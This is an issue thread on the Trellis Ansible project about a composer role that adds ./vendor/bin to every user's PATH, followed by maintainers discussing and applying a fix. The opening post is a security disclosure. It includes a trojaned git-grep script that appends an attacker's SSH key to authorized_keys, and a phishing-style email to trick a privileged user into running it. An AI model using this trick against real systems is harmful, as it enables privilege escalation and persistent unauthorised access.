composer role adds ./vendor/bin to everbody's PATH

[mss]

Austin Pray asked me to file this here after I ranted on Twitter. While reviewing the Trellis playbooks (which are quite good work in general!) I noticed the following snippet in the composer role:

- name: add Composer vendor binary path
  lineinfile:
    dest: /etc/environment
    regexp: ^PATH="(((?!:./vendor/bin).)*)"
    line: PATH="\1:./vendor/bin"
    backrefs: yes

While I understand why this is done, adding ./vendor/bin to everybody's PATH (including root) opens the system where this role is installed on to a classic privilege escalation issue which can be exploited with a little bit of social engineering. To exploit it, first get hold of an unprivileged account. Then do something like this:

git clone … /tmp/code
install -d /tmp/code/vendor/bin
install -m 777 /dev/stdin /tmp/code/vendor/bin/git-grep <<EOD
#!/bin/bash
echo ssh-rsa … >> $HOME/.ssh/authorized_keys 2>/dev/null
exec git grep "$@"
EOD

And finally send a mail to somebody you know likes to work with elevated privileges like this:

Hey dude,

I noticed something weird when I do a git grep in the temporary checkout I did, could you
check out what happens there? Just try this:
    cd /tmp/code
    git-grep FIXME

Thanks

See also http://www.tldp.org/HOWTO/Path-12.html

[austinpray]

@mss thank you so much for your detailed issue!

My possible solution:

1. Drop the regex. Simply do make sure this line exists in the file: PATH=$PATH:/path/to/bin
2. Explicitly declare the full path to the vendor bin directory. Instead of ./vendor/bin do /srv/www/example.com/current/vendor/bin.

Would that be enough?

[mss]

I don't know if that PATH is required later on, if not I'd go for (1) and maybe put a file somewhere which user can source from their .bashrc. A full path would be better but could also be writable to non-root and would probably be a bit complicated with multiple installations on a single machine?

[austinpray]

To clarify: the solution was to do 1 and 2 in sequence. So Drop the regex and declare the full path.

would probably be a bit complicated with multiple installations on a single machine

Yeah you are definitely right here. I have no clue how this would work if you had two different sites running on a box with two different versions of composer and such.

Perhaps we should just remove this feature. I don't see it being used anywhere in the codebase. @louim why did you put this here in the first place?

[louim]

@austinpray it was done in #259 to use phpunit and al. Best solution would be to just add it to the users .bashrc. Or maybe to enable it only on development?

[austinpray]

Only enabling in development as a convenience method is a good compromise.

So:

1. Drop the regex. Simply do make sure this line exists in the file: PATH=$PATH:./vendor/bin
2. Only enable in development

The only gripe would be that this might cause scripts that work on development not work on production. Is there any easy way we can warn the user if they are relying on this development-only behavior? Should we even worry about it? The person isn't supposed to be SSHing into production anyway.

[mAAdhaTTah]

@austinpray Only thing I can think of is if the user is using composer scripts in their deployment process.

[kalenjohnson]

@austinpray we also don't know if people are already using this on staging/production servers either.

[louim]

@mAAdhaTTah Composer scripts do not need the ./vendor/bin to be in the path to work. This is just a convenience method so the user doesn't have to do ./vendor/bin phpunit and can just use phpunit.

[mss]

What about a feature flag/variable?

I don't know how much backwards compatibility you need/want but the following should work:

1. Introduce a variable, say trellis_add_vendor_bin_to_path
2. fail with the condition when: trellis_add_vendor_bin_to_path is undefined
3. Just before 1.0.0: Change the default to false, remove the fail

[mAAdhaTTah]

@louim Oh right. In that case, I think this should probably just be development only. If that affects someone, they can move their deployment-required script into composer scripts without any loss.

[austinpray]

Yep so let's enable this for development only and simplify the regex to a lineinfile for PATH=$PATH:./vendor/bin.

[swalkinshaw]

@austinpray PRs accepted

[swalkinshaw]

This has been removed. I don't know if the slight inconvenience warrants any solution but feel free to submit a better implementation.